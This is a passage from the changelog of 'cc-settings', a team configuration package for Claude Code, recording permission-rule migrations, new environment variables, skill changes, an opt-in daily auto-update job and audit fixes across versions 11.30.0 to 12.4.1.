formatLintFindings()/hasLintErrors()inlint-frontmatter.tsreplace five copy-pasted formatter pairs; the five per-module severity unions are now aliases ofLintSeverity(N7). lint-knowledge.tsimportsNON_NOTE_FILESfromknowledge-index.tsinstead of redeclaring it (N12);inProjectSourceFilesdeduped intocodemap/program.ts(N16).
Dependencies:
@biomejs/biome2.5.0 → 2.5.4 (N17).typescriptstays at 6.0.3: the audit's N3 recommendation (upgrade to 7.x) is blocked — TS 7's Go-native package drops the v6 JS compiler API thatsrc/codemap/consumes (ts.isArrowFunction,ts.SourceFile, …). The audit report has been corrected; revisit if codemap adopts the TS 7 API or pins the API package separately.
[12.4.1] — 2026-07-20
Upstream sync with Claude Code v2.1.215 (from v2.1.211; 2.1.213 was never released). Reference-surface only — four new env vars and one new built-in tool tracked; no behavior change to shipped config.
Adopted:
CLAUDE_CODE_MAX_WEB_SEARCHES_PER_SESSIONenv var (2.1.212, session-wide WebSearch cap, default 200) in manifest + docs env table.CLAUDE_CODE_MAX_SUBAGENTS_PER_SESSIONenv var (2.1.212, per-session subagent-spawn cap, default 200,/clearresets) in manifest + docs env table — worth knowing about given cc-settings' fan-out-heavy delegation defaults.CLAUDE_CODE_MCP_AUTO_BACKGROUND_MSenv var (2.1.212, MCP calls over the threshold auto-background, default 2 min,0disables) in manifest + docs env table.CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTHenv var (2.1.214, OTel content-attribute truncation limit, default 60 KB) in manifest + docs env table.EndConversationtool (2.1.214) in manifestknownBuiltinTools.
Skipped: the rest of 2.1.212–2.1.215 has no cc-settings contract surface. Notably: the single-segment dir/** rule-scoping fix (2.1.214) doesn't affect shipped config — no single-segment globs in config/30-permissions.json, and all hook if: conditions are Bash(...) forms; subagentStatusLine effort payload (2.1.214) — cc-settings doesn't wire a subagent statusline; SessionStart "fork" source (2.1.214) — session-start.ts doesn't branch on source; /verify + /code-review no longer auto-run natively (2.1.215) — reduces collision risk with the cc-settings /verify skill.
Files changed:
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[12.4.0] — 2026-07-16
Upstream sync with Claude Code v2.1.211 (from v2.1.205). Headline: migrated the shipped permission rules off the newly deprecated Write(path)/Glob(path)/NotebookEdit(path) forms before they start warning at every session start.
Adopted:
- Migrated
config/30-permissions.jsonoffWrite(path)/NotebookEdit(path)/Glob(path)permission rules, which trigger a startup warning as of 2.1.210 (Edit(path)/Read(path)rules now govern those tools). Allow list: droppedWrite(*),Glob(*),NotebookEdit(*)— already covered byEdit(*)andRead(*). Deny list: converted the eightWrite(~/...)rules toEdit(~/...)equivalents (deduped against the two pre-existingEditdenies). This also closes audit finding M22 (Write-only deny rules were bypassable via the wildcard-allowed Edit tool). - Added the migrated rules to
DEPRECATED_PERMISSION_PATTERNSinsrc/lib/settings-merge.tsso existing installs prune the stale forms on next sync instead of keeping them alive as "user extras". Exact-match patterns only — user-authoredWrite(...)rules are left untouched. axScreenReadersetting (2.1.208, screen-reader plain-text rendering) insrc/schemas/settings.ts, manifest, and docs; env counterpartCLAUDE_AX_SCREEN_READERin manifest + docs env table.vimInsertModeRemapssetting (2.1.208, two-key insert-mode sequences →<Esc>in vim mode) insrc/schemas/settings.ts, manifest, and docs.CLAUDE_CODE_PROCESS_WRAPPERenv var (2.1.208, corporate launcher wrapper for self-spawns) in manifest + docs env table.CLAUDE_CODE_FORWARD_SUBAGENT_TEXTenv var (2.1.211, include subagent text/thinking instream-jsonoutput; pairs with--forward-subagent-text) in manifest + docs env table.request_timeout_msper-server field insrc/schemas/mcp.ts(mcpCommon) — 2.1.206 fixed it being ignored for--mcp-config/.mcp.jsonservers.
Skipped: the rest of 2.1.206–2.1.211 is bug fixes and TUI polish with no cc-settings contract surface (auto-mode availability on Bedrock/Vertex/Foundry was already covered by the existing disableAutoMode key; plugin ${user_config.*} shell-form rejection — cc-settings hooks already use exec form).
Files changed:
- config/30-permissions.json
- src/lib/settings-merge.ts
- src/schemas/settings.ts
- src/schemas/mcp.ts, schemas/settings.schema.json, schemas/claude-json.schema.json
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- CHANGELOG.md
[12.3.1] — 2026-07-14
Restart-pending banner now actually clears when you restart a resumed session.
Fixed:
- The
⟳ v<X> installed — restart Claude to applystatusline banner keyed its "what version did this session start on" record to the session id, written only on the session's first-ever render. Claude Code keeps the same session id across a resume, so a resumed conversation stayed pinned to the version it saw days ago and the banner never cleared — no matter how many restarts.session-start.ts(which fires on every launch AND resume) now refreshes that record to the currently installed version, making the banner process-scoped as intended: restart + resume clears it; an update landing mid-session still shows it. - Shared
refreshSessionInstallMap()helper insrc/lib/version-delta.tsreplaces the statusline's inline map-prune logic (statusline keeps a first-render fallback write). - The statusline rendered entirely gray under Claude Code:
lib/colors.tsgates every ANSI code onprocess.stdout.isTTY, and Claude Code captures the statusline through a pipe, so the whole palette resolved to empty strings (only emoji glyphs showed color). The statusline now uses its own ungated palette (same brand values,NO_COLORstill honored) — branch name, dirty marker, rate-limit %, review queue, drift badge, and restart banner all render in color.
Files changed:
- src/lib/version-delta.ts
- src/scripts/session-start.ts
- src/hooks/statusline.ts
- tests/version-drift.test.ts
[12.3.0] — 2026-07-10
Built-in daily auto-update: cc-settings can now keep itself current without anyone running /cc by hand.
Adopted:
setup.shcan register a macOSlaunchdjob (src/lib/schedule.ts) that runs daily at 10:00 local time: pulls the cc-settings repo, re-runs the installer non-interactively, and sends a desktop notification on success/failure. Skips itself (and notifies) on an uncommitted checkout; no auto-rollback on failure — human-in-the-loop, matching the rest of the security posture.- Opt-in, ask-once-remember-forever enrollment (
decideAutoUpdate()): a non-interactive run (CI, or the nightly job re-runningsetup.shitself) can never silently enroll or unenroll anyone — the decision only ever changes from a real TTY prompt or an explicit--auto-update=on|offflag. Locked in by an exhaustive table test over every flag/sentinel/TTY combination (tests/schedule.test.ts). - Statusline
⟳ v<X> installed — restart Claude to applybanner for sessions started before an update landed. --statusnow reports auto-update enrollment, whether the launchd plist is present, and the last nightly run's outcome.- New SECURITY.md section documenting the launchd job as a persistence surface outside the four existing defense layers — the plist itself is unmonitored, but what it executes (
auto-update.ts) is covered by the content manifest.
Files changed:
- src/lib/schedule.ts
- src/scripts/auto-update.ts
- src/lib/prompts.ts
- src/scripts/notify.ts
- src/lib/version-delta.ts
- src/setup.ts
- src/lib/status.ts
- src/lib/status-types.ts
- src/lib/install-display.ts
- src/lib/install-cmds.ts
- src/hooks/statusline.ts
- tests/schedule.test.ts
- tests/auto-update-script.test.ts
- tests/install-e2e.test.ts
- tests/setup-args.test.ts
- tests/version-drift.test.ts
- tests/status.test.ts
- SECURITY.md
- MANUAL.md
[12.2.6] — 2026-07-09
MultiEdit retirement: Claude Code removed the MultiEdit tool, and the permission rules still naming it warned matches no known tool — check for typos at every session start.
Adopted:
- Removed all
MultiEdit(...)permission rules fromconfig/30-permissions.json(1 allow, 2 deny) and droppedMultiEditfrom theconfig/40-hooks.jsonfreeze-guard matcher,agents/{implementer,maestro}.mdtools lists, andskills/lighthouseallowed-tools. - New
DEPRECATED_PERMISSION_PATTERNSprune in the settings merger — the permissions counterpart of the hooksDEPRECATED_COMMAND_PATTERNS(PR #51). Without it, the union merge preserves removed rules forever as "user extras" on every existing install; with it, the next sync deletes them and reportsPruned N stale permission rule(s) naming removed tools. - Cross-model review round (Codex, gpt-5.6-sol) hardened the prune: deprecated rules are now filtered from BOTH inputs (a rule present in team+user, or team-only via the
alwaysAcceptdeny path, previously survived),additionalDirectoriesis exempted (paths, not rules — a directory literally namedMultiEdit(...)must not be deleted), and a post-prune-empty array now merges to[]instead of leaking the raw deprecated array through the strategy's object spread. Also swept the remaining stale MultiEdit mentions out of the freeze skill/hook comments, tool-cadence's file-edit map, frontmatter/hooks/settings references, and SECURITY.md. - Zero-warning hygiene pass: fixed the
log-bash.test.tstimezone flake (bun testpins the runner to UTC while the spawned logger inherited the host zone, so date-stamped filenames disagreed for a few hours a day near UTC midnight — the test now pins the child to UTC and derives filenames from the sameymd()the logger uses), cleared all standing Biome warnings (deadCryptoHasherimport in engine-pin,$schemaliteral keys in light-profile, template/non-null-assertion style in fingerprint tests, misplaced suppression in audit-hooks tests), and ranbiome migratefor the deprecatedrules.recommendedconfig field.
Files changed:
- config/30-permissions.json
- config/40-hooks.json
- agents/implementer.md
- agents/maestro.md
- skills/lighthouse/SKILL.md
- skills/freeze/SKILL.md
- src/lib/settings-merge.ts
- src/lib/freeze.ts
- src/hooks/freeze-guard.ts
- src/hooks/tool-cadence.ts
- src/scripts/freeze.ts
- tests/settings-merge.test.ts
- tests/log-bash.test.ts
- tests/audit-hooks.test.ts
- tests/hooks-fingerprint.test.ts
- src/lib/engine-pin.ts
- src/lib/light-profile.ts
- biome.json
- docs/settings-reference.md
- docs/frontmatter-reference.md
- docs/hooks-reference.md
- SECURITY.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[12.2.5] — 2026-07-09
Laws pass: named the mental models behind three existing rules, from the team's curated laws list (clementroche/laws). No behavior changes — the rules existed; now they say why.
Adopted:
- AGENTS.md Laziness Ladder names its rationale: the ladder is a Jevons Paradox countermeasure — cheap code generation grows code volume and maintenance debt unless deletion is the default.
- CLAUDE-FULL.md briefing contract names the failure mode: thin subagent prompts are the curse of knowledge in action (you assume shared context; the subagent has none).
- skills/nuclear-review/references/audit-contract.md §3 names why disprove-first and the rejected ledger exist: Brandolini's law (refutation costs 10x production, so the burden of proof sits on the finder) and survivorship bias (survivor-only reports hide what was cleared).
Considered and skipped: Moore's, Wirth's (subsumed by Jevons here), Dunning–Kruger (CONFIRMED/PLAUSIBLE already is the countermeasure), Halo, Prisoner's Dilemma, Streisand, Paris Syndrome — no enforcement mapping; decoration is context spend.
Files changed:
- AGENTS.md
- CLAUDE-FULL.md
- skills/nuclear-review/references/audit-contract.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[12.2.4] — 2026-07-09
Ponytail-alignment pass: one missing ladder rung, one trigger collision, one prose-duplication landmine.
Adopted:
- AGENTS.md Laziness Ladder gains rung 2 — "Does this codebase already do it? — reuse it; extend before you re-create" — the one rung of the ponytail decision ladder the standard was missing, and the one the consolidation findings below violate.
strategistno longer claims "should we even build this?" — that trigger phrase was listed verbatim in bothstrategistandplan-ceo-review, leaving the skill selector unable to disambiguate. It now belongs toplan-ceo-reviewalone.plan-ceo-reviewcross-references its siblings instead of silently re-deriving them: Step 0 points open-ended product conversations to/strategist; Section 2 names itself as/oraclerisks mode applied per-plan.reviewnow escalates: auth/payments/crypto/input-validation/breaking-API diffs get an explicit pointer to/verify(previously the escalation existed only if the user knew to ask).- Shared audit plumbing extracted to
skills/nuclear-review/references/audit-contract.md: the Codex cross-model pass, team-knowledge reconciliation (reclassify-never-suppress invariant), and the finding contract (stable IDs, CONFIRMED/PLAUSIBLE, disprove-first, considered-&-rejected ledger).nuclear-reviewPhases 2b/2c andadversarial-audit's shared-contract section now reference it instead of restating ~40 lines each — future contract edits land in one file.
Deletions / Native-now-redundant: none upstream; ~55 lines of duplicated contract prose deleted across the two audit skills.
Files changed:
- AGENTS.md
- skills/strategist/SKILL.md
- skills/plan-ceo-review/SKILL.md
- skills/review/SKILL.md
- skills/nuclear-review/SKILL.md
- skills/nuclear-review/references/audit-contract.md
- skills/adversarial-audit/SKILL.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[12.2.3] — 2026-07-09
Upstream sync with Claude Code v2.1.205 (fixes-only release) plus workflow features from the July 2026 session-archive audit.
Adopted:
- Manifest bump to v2.1.205. The release is 23 bullets of bug fixes and native-only behaviors (transcript-tamper block,
/doctorfull checkup, background-agent status fixes) — no schema, config, or docs surface in cc-settings tracks any of them. Why this matters: an accurate manifest keepsbun run upstream:scanquiet so real drift stands out. - Autonomy Contract in
CLAUDE-FULL.md: low-stakes agent actions (dep bumps that pass checks, post-merge branch cleanup, CI fixes on approved PRs, doc-only commits) are pre-approved — act and report, don't ask. Hard always-ask line for anything outside the darkroomengineering org. Why this matters: a session-archive audit found ~150 pure-approval turns that changed no outcomes. - Voice section in
CLAUDE-FULL.md: the ghostwriting voice rule (plain, no em dashes, effect over mechanism) stated once instead of re-specified per session. - Ship land mode (
skills/ship/SKILL.md): existing PR → fix CI → merge → clean branches local+remote → report. The back half ship never had. - New
triageskill: first-pass sweep of client/unfamiliar repos with a hard read-only guardrail on external-org repos (never commit/push/PR).
Deletions / Native-now-redundant: none. Checked v2.1.205's "auto mode asks before rm -rf on unresolved variables" against src/hooks/safety-net.ts — complementary, not overlapping: safety-net hard-blocks literal root/home/cwd targets in all modes; upstream prompts on unresolved vars in auto mode only.
Files changed:
- upstream/claude-code-manifest.json
- CLAUDE-FULL.md
- skills/ship/SKILL.md
- skills/triage/SKILL.md
- src/lib/managed-skills.ts
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[12.2.2] — 2026-07-08
Upstream sync with Claude Code v2.1.204 (from v2.1.202). Both upstream versions are bug-fixes-only — background-agent/daemon reliability, TUI polish, and a headless SessionStart hook-streaming fix — so no schema or config changes; this release is manifest/docs tracking only.
Adopted:
CLAUDE_CODE_DISABLE_MOUSEenv var added to the manifestknownEnvVarsand thedocs/settings-reference.mdenv table. The v2.1.203 fix for attached background sessions ignoring it revealed this full mouse-capture opt-out (companion toCLAUDE_CODE_DISABLE_MOUSE_CLICKS, v2.1.195) was never tracked. Why this matters: the env table is the reference users grep when a TUI toggle misbehaves — an untracked opt-out is invisible.- Manifest housekeeping:
advisorModeladded toknownSettingsKeys. PR #126 added it tosrc/schemas/settings.tsbut never updated the manifest, sobun run upstream:scanflagged a false-positive settings-key drift on every run. Why this matters: a scanner that always warns trains people to ignore it.
Deletions / Native-now-redundant: none. Checked the v2.1.203 permission-mode footer badge against src/hooks/statusline.ts — the statusline doesn't render permission mode, so no overlap.
Files changed:
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[12.2.1] — 2026-07-07
Correction: the Fable 5 promo did not end July 7 — Anthropic extended it to 2026-07-12 11:59 PM PT (up to 50% of the weekly limit on fable, shared pool, no extra cost). v12.1.0 reverted the committed default to opus[1m] on the July-7 assumption; that revert stays — the committed default is deliberately opus[1m] so fresh installs never silently spend usage credits, and the merger's user-wins behavior means the repo default never reaches existing installs anyway. The free window is reached the real way: /model fable per session through July 12. Only the guidance was wrong: docs/agent-models.md header and MANUAL.md default-model note corrected from "promo ended / credit-gated as of July 7" to "free per-session through July 12, then credit-gated." No config or agent-pin change.
[12.2.0] — 2026-07-07
Three-part batch: shadcn/improve folds, first real /harvest run, and the v2.1.202 upstream sync.
Harvested from production transcripts (first live run of the /harvest skill, v12.1.0 — evidence: two programa sessions from 2026-07-06, both independently exhibiting the top procedure):
- Verify subagent claims independently (
orchestrate) — a subagent's "done" is a claim: re-run its briefed verification against the real artifact; check its capability envelope (a no-Bash implementer zeroed files instead of deleting them and still reported done); fix-solo vs re-delegate rule for breaks found during verification; SendMessage-resume cut-off agents instead of respawning. - When CI goes red (
shipStep 9) — reproduce the exact failing guard locally against the real built artifact before re-pushing; canonical bump scripts over hand-edited version fields; never trust a watcher pipeline's exit code — read.conclusionexplicitly. - Blame before blaming (
fixDiagnose step) — commits named in a bug report are hypotheses; blame the affected file's history first (the transcript's "regression" predated all three accused commits).
Sync with Claude Code v2.1.202: docs-only. MANUAL.md /review note updated (v2.1.202 reverted native /review <pr> to fast single-pass; multi-agent review only via /code-review <level> <pr#>); manifest bumped. The new "Dynamic workflow size" /config setting is config-state, not a settings.json key — nothing for the strict schema to adopt; all other 2.1.202 entries are behavioral fixes with no cc-settings surface.
Folds from reviewing shadcn/improve (audit-to-plans skill; same intelligence-plans/cheap-execution philosophy as our quota routing). No new skill adopted — its audit surface is already owned by /adversarial-audit + /nuclear-review + /review, its executor isolation by isolation: worktree, its false-positive vetting by disprove-before-reporting. Four mechanics folded instead:
- Plan stamps + reconcile (
project,orchestrate) — plans/issues record the commit SHA they were written against; a reconcile pass re-runs done-criteria of completed tasks (a "done" that no longer verifies gets reopened), refreshes drifted file/line refs, and retires obsoleted tasks with a reason. Kills silent plan drift. - Expected-output done criteria + escape hatches (
agents/implementer.mdREQUIRED BRIEFING items 4/6, CLAUDE-FULL briefing contract) — verification commands must state what success looks like (machine-checkable, never "works correctly"); briefings state the conditions to STOP and report back instead of improvising. - Untrusted-diff rule (
review-batch) — verbatim posture adopted: verify every hunk traces to a step in the task that produced it; reject out-of-scope changes however plausible they look. - Considered & rejected ledger (
adversarial-auditoutput §6,nuclear-reviewoutput format) — disproved candidate findings get recorded with a one-line reason so future audits check the ledger instead of re-litigating.
[12.1.0] — 2026-07-07
New skill: harvest (36 → 37 skills, cap 40) — captures an unusually good workflow (from a stronger or temporary model, a one-off session, or a teammate's transcript) into a durable, reviewed artifact instead of losing it when the session or model access ends. Six phases: identify what's harvestable (repeatable procedure, not raw intelligence — "the model was smarter" is explicitly not harvestable), gather evidence via interview or transcript analysis, extract four components (procedure / failure modes / quality bar / self-tests), route to the smallest artifact that carries it (skill, rule, profile section, AGENTS.md diff, or /share-learning note), write it per the target's own conventions, then validate with 2–3 blind trap prompts (autoresearch's blind-run rule; the traps seed a later /autoresearch eval set). Hard approval gate before touching shared standards (AGENTS.md, rules/, profiles/), posting team knowledge, or committing. Explicit non-goals: no model-API sampling, no "operating manual" prose output.
Fable promo window closed on schedule: config/10-core.json session default reverted fable → opus[1m] (the revert pre-announced in 11.30.5). docs/agent-models.md header and the MANUAL.md default-model note updated to past tense; agent pins were already on the opus[1m] steady state and are unchanged.
[12.0.0] — 2026-07-06
Major cut capping the July 2026 wave: the adversarial audit fully remediated (28 findings across H/M/L severity + 6 open questions + the design-tensions epic, all closed — 12 PRs and 7 direct commits, see 11.31.x history and issues #74–#108), the adversarial-audit skill added (11.32.0), and this release's skill-library upgrades from reviewing dzhng/skills:
Folds (six mechanisms, no new skills — library stays at 36/40):
qa— Fresh-Eyes Gate: an unprimed subagent (images + 2x–4x crops only, no thread history or expected answer) is now mandatory before declaring a visual bug fixed; judge "less wrong", not baseline-match. (from screenshot-critique / compare-screenshots)test— two new Red Flags: batches of tests written against imagined behavior before any run red, and internals-assertions instead of observable behavior at the outermost entry point. (from write-tests)autoresearch— Blind-run rule (sample agent never sees the checklist, judge never sees the transcript — leaking either teaches to the test) + "state the bar, not a parts list" checklist authoring. (from eval-skills)plan-feature— discovery interview reframed as a four-quadrant unknowns walk; new Phase 3 "Close" that rewrites a shipped PRD from build-plan into durable rationale, recording divergences from plan. (from explore-unknowns / close-spec)orchestrate— Maintenance Checkpoints: a phase is a commit checkpoint, not a stopping point; periodic passes prune plan bloat and refresh handoffs before drift accumulates. (from implement-spec)docs/skill-authoring.md— two new pitfalls: mirroring the code instead of stating principles (the DT5 lesson), and orphan sibling skills without "Pairs with" cross-links. (from write-docs / write-skills)
Also: argument-hints added to all eight multi-mode skills (2850437). Not adopted from dzhng/skills: standalone spec skills (overlap /build+/plan-feature+/orchestrate), claude/preview-shots/implement-spec-with-codex (covered natively); graphics/renderer flagged for a future profiles/webgl pass. Entire release cross-reviewed by Codex (see commit body).
[11.32.0] — 2026-07-06
New skill: adversarial-audit (35 → 36 skills, cap 40) — whole-repo honesty audits in three modes, adapted from the fable audit goal-spec trio (gist diegomarino/04970a2b8d9cc419de3ba05b9a03db5a). Codebase mode is the spec that produced the July 2026 cc-settings audit (issues #74–#108: 28 findings, all confirmed and fixed); docs mode audits documentation as a product (drift vs code, inverted pyramid, sizing, diagram backlog); process mode walks documented journeys empirically in throwaway workspaces and maps the real state machine (generalized from the gist's project-specific spec). All modes share the report contract that made the July remediation executable: stable finding IDs, CONFIRMED/PLAUSIBLE status, concrete failure scenarios, disprove-before-reporting, design tensions vs line findings, optional GitHub-issue filing. Includes the gated fail-open Codex cross-model pass and team-knowledge reconciliation (reclassify, never delete), mirroring nuclear-review Phases 2b/2c. The gist's launcher file was not adopted — the skill system already does its job (distribute the spec, have the agent Read it).
Folded into nuclear-review: the same three report mechanics (stable IDs, CONFIRMED/PLAUSIBLE, disprove-first) in its Output Format, and a cross-reference to the new sibling in "When to use vs other review skills" — nuclear-review asks "should this code exist?", adversarial-audit asks "does it do what it promises?".
[11.31.0] — 2026-07-06
Sync with Claude Code v2.1.201 (spans v2.1.198–201). One schema adoption: the new "manual" permission mode (v2.1.200). Also documents the background-agent notification types on the Notification hook and the v2.1.199 retry env-var semantics.
Adopted:
"manual"permission mode (v2.1.200) — upstream renamed the "default" permission mode to "Manual" across the CLI,--help, VS Code, and JetBrains;--permission-mode manualand"defaultMode": "manual"are accepted alongsidedefault. Added"manual"to the strictPermissionModeenum insrc/schemas/permissions.ts(whichagents/*.mdfrontmatter and profiles inherit),knownPermissionModesin the manifest, and the mode lists indocs/frontmatter-reference.mdanddocs/profiles.md. Without this, a settings.json or agent using the new alias would fail strict parse.- Background agent notifications (v2.1.198) — sessions in
claude agentsthat need input or finish now fire theNotificationhook with typesagent_needs_input/agent_completed. Added a "Matcher Values for Notification" section todocs/hooks-reference.md. cc-settings' asyncnotify.tsNotification hook runs with no matcher, so it already picks these up — desktop notifications for background agents work out of the box; no wiring change needed. - Retry env-var semantics (v2.1.199) —
CLAUDE_CODE_RETRY_WATCHDOGnow raises the default retry count for non-capacity transient errors to 300 and lifts the15cap onCLAUDE_CODE_MAX_RETRIES. Updated both rows indocs/settings-reference.md; both vars were already tracked in the manifest, so no manifest key changes.
Deletions / Native-now-redundant:
- None this cycle.
Triage notes:
- Claude in Chrome GA, the
/dataviznative skill, and the GatewayanthropicAwsupstream provider (v2.1.198) touch product surfaces cc-settings doesn't configure — no settings key, schema, or doc table tracks gateway providers or native skill rosters. - The built-in Explore agent inheriting the session model (capped at opus) and subagents inheriting extended-thinking config are native behavior improvements; cc-settings' agent frontmatter and delegation docs make no contrary claims, so nothing to update.
- Removal of the
/agentswizard doesn't affect cc-settings docs — they reference theagents/*.mddirectory workflow, which is exactly what upstream now recommends. - Background agents auto-committing and opening draft PRs from worktrees, plus the remaining v2.1.198 entries, are bug fixes and UX/runtime tweaks (retry/backoff on transient network errors, task-panel stuck states, agent-teams failure reporting,
/diffrefresh, fullscreen rendering,.claude/rules/symlink resolution, plan-mode read-only auto-allow, highlight.js 11) — none touch cc-settings surface. The symlink rules fix benefitsrules/users natively. - v2.1.199 is otherwise entirely bug fixes and UX polish (stacked slash-skill loading, SSL fail-fast guidance, partial-stream preservation, subagent error propagation, background-agent daemon stability on Linux/macOS/SSH, hook stderr surfaced on exit 2, config-reset backup, plan-mode browser-tool prompting, automatic 429 backoff for subscribers) — none touch cc-settings schemas, config, hooks, or agent frontmatter.
- v2.1.200's
AskUserQuestiondialogs no longer auto-continuing is a behavior default toggled via/config; the changelog names no settings key, so nothing to track yet. ThedisabledMcpServers/enabledMcpServerscrash fix and the remaining v2.1.200 entries are background-agent daemon/roster fixes, screen-reader and tmux rendering improvements, and install-script messaging — no cc-settings surface. - v2.1.201's single entry (Sonnet 5 sessions dropping the mid-conversation system role for harness reminders) is native runtime behavior — nothing to adopt or document.
Files changed:
- src/schemas/permissions.ts
- upstream/claude-code-manifest.json
- docs/hooks-reference.md
- docs/settings-reference.md
- docs/frontmatter-reference.md
- docs/profiles.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[11.30.5] — 2026-07-05
Temporary default-model swap — Fable 5 promo window (#72)
Fable 5 redeployed 2026-07-01 as a promo-then-credit-gated tier. config/10-core.json's session default ("model") switched opus[1m] → fable for the promo window (commit 795fa1b), so fresh installs and re-installs during this window ride Fable at no extra cost. This is a temporary swap, not a reversal of the 11.24.0 suspension decision: Fable is scheduled to revert back to opus[1m] on 2026-07-07 once the promo window ends and credit-gating kicks in.
config/10-core.json:"model"opus[1m]→fable(temporary, reverts 2026-07-07).- Docs intentionally unchanged: README.md, MANUAL.md, and
docs/*.mdcontinue to stateopus[1m]as the standing/decision-tier default — the promo swap is a short-lived config value, not a documented default change. Teammates who want Fable for the promo window without waiting on the merger can run/model fableper session.
Files changed:
- config/10-core.json
- CHANGELOG.md
[11.30.4] — 2026-07-01
Sync with Claude Code v2.1.197 (spans v2.1.196–197). Tracks one new environment variable in the manifest and docs; no schema, hook, or wiring changes.
Adopted:
CLAUDE_ENABLE_STREAM_WATCHDOG(v2.1.196) — added toupstream/claude-code-manifest.jsonknownEnvVarsand the env table indocs/settings-reference.md. The streaming idle watchdog is now on by default for all providers: it aborts and retries a response stream that produces no events for 5 minutes. Set=0to disable. Distinct from the already-trackedCLAUDE_CODE_RETRY_WATCHDOG(retry cap, not stream idleness); relevant to cc-settings' unattended-session and/loopguidance. Manifest-tracked only (env vars affecting CC itself are not part of the settings.json zod schema).
Deletions / Native-now-redundant:
- None this cycle.
Triage notes:
- Claude Sonnet 5 becoming the default model in Claude Code with a native 1M context and promotional $2/$10-per-Mtok pricing through Aug 31 (v2.1.197) is already reflected — commit
4c1acfflanded the Sonnet 5 launch across the model docs. The promo pricing is transient (expires 2026-08-31) and deliberately not encoded. cc-settings pins its own default (opus[1m]), so the upstream default change has no effect on this install. /code-reviewmerging five cleanup finders into one (~25% token cut, v2.1.196) touches native command internals; cc-settings documents no finder count, so nothing to update.- The MCP
list/gethardening (no longer spawns.mcp.jsonservers a repo self-approved via committed.claude/settings.json; untrusted workspaces show⏸ Pending approval, v2.1.196) is a native security fix that complements — but requires no change to — cc-settings' supply-chain hook defense. - Remaining v2.1.196 entries are bug fixes and UX/runtime tweaks (background-session/agent resilience,
/deep-researchverifier-status labeling, MCP OAuth scope negotiation,/contexton Bedrock, PowerShell git exit-1 parity, voice dictation, rewind-menu regression, agents-view navigation, per-frame render) — none touch cc-settings surface.
Files changed:
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[11.30.3] — 2026-06-29
Sync with Claude Code v2.1.195 (v2.1.194 shipped with no changelog entries). Tracks one new environment variable in the manifest and docs; no schema, hook, or wiring changes.
Adopted:
CLAUDE_CODE_DISABLE_MOUSE_CLICKS(v2.1.195) — added toupstream/claude-code-manifest.jsonknownEnvVarsand the env table indocs/settings-reference.md. Disables mouse click/drag/hover in the fullscreen renderer while keeping wheel scroll — a sibling of the already-trackedCLAUDE_CODE_DISABLE_ALTERNATE_SCREEN, useful where mouse capture interferes with native terminal text selection. Manifest-tracked only (env vars affecting CC itself are not part of the settings.json zod schema).
Deletions / Native-now-redundant:
- None this cycle.
Triage notes:
- The hyphenated hook-matcher exact-match fix (v2.1.195 — matchers like
code-reviewer/mcp__brave-searchpreviously substring-matched, now exact-match) is verified-safe for cc-settings: every hook matcher inconfig/40-hooks.jsonis a non-hyphenated builtin tool name (Bash,Edit,Write|Edit,Edit|Write|MultiEdit), and no hyphenated MCP/agent matchers exist inconfig/oragents/. Zero impact. - Remaining entries are voice-dictation fixes (macOS silence on input-device change, spaceless-language auto-submit, Linux SoX detection), plugin-loader fixes (project-settings consent,
/pluginname mismatch), and background-task/daemon/Remote-session UX and bug fixes — none touch cc-settings surface.
Files changed:
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[11.30.2] — 2026-06-26
Sync with Claude Code v2.1.193 (v2.1.192 was skipped upstream). Tracks two new environment variables in the manifest and docs; no schema, hook, or wiring changes.
Adopted:
OTEL_LOG_ASSISTANT_RESPONSES(v2.1.193) — added toupstream/claude-code-manifest.jsonknownEnvVarsand the env table indocs/settings-reference.md. Controls whether the newclaude_code.assistant_responseOTEL log event carries the model's response text. Privacy gotcha worth surfacing: when the var is unset it inheritsOTEL_LOG_USER_PROMPTS, so OTEL deployments already logging prompt content begin logging response content on upgrade — set=0to keep prompts-only.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP(v2.1.193) — added to manifestknownEnvVarsand the docs env table. Opt-out for the new automatic memory-pressure reaping of idle background shell commands.
Deletions / Native-now-redundant:
- None this cycle.
Triage notes:
autoMode.classifyAllShell(v2.1.193) needs no change — the settings schema already accepts it viaautoMode: z.looseObject({})(shape intentionally opaque) and the manifest already tracks the top-levelautoModekey.- Remaining entries are native client UX (auto-mode denial reasons, bash-mode path autocomplete, MCP-auth startup notice,
/add-dirwording, plugin auto-rename) and bug fixes (/modelstale-state after/login, backgrounding cancel/carry-over, pinned-agent re-prompt, phantom resumed subagent, agent-panel siblings, MCPheadersHelper401/403 reconnect) with no cc-settings surface.
Files changed:
- upstream/claude-code-manifest.json
- docs/settings-reference.md
- src/setup.ts
- CHANGELOG.md
[11.30.1] — 2026-06-25
Sync with Claude Code v2.1.191. Pure upstream bug-fix and performance release — no new settings keys, hook events, MCP fields, env vars, or agent frontmatter. Manifest bump only; no cc-settings code touched.
Adopted:
- None this cycle.
Deletions / Native-now-redundant:
- None this cycle.
Triage notes:
- The comma-separated hook-matcher fix (
"Bash,PowerShell"silently never firing) does not apply — cc-settings uses regex alternation (Edit|Write|MultiEdit) throughoutconfig/40-hooks.json, which was never affected. - Remaining entries are native TUI/CLI/MCP fixes (
/rewind, scroll/CPU/memory perf, background-agent stop permanence, MCP retry/backoff & OAuth,forceRemoteSettingsRefreshvia MDM) with no cc-settings surface.
Files changed:
- upstream/claude-code-manifest.json
- src/setup.ts
- .claude-plugin/plugin.json
- CHANGELOG.md
[11.30.0] — 2026-06-24
Sync with Claude Code v2.1.190 (from v2.1.186). Only v2.1.187 carried substantive changelog entries; v2.1.188/189 had none and v2.1.190 was reliability fixes. Two security-adjacent features adopted, no deduplications this cycle.
Adopted:
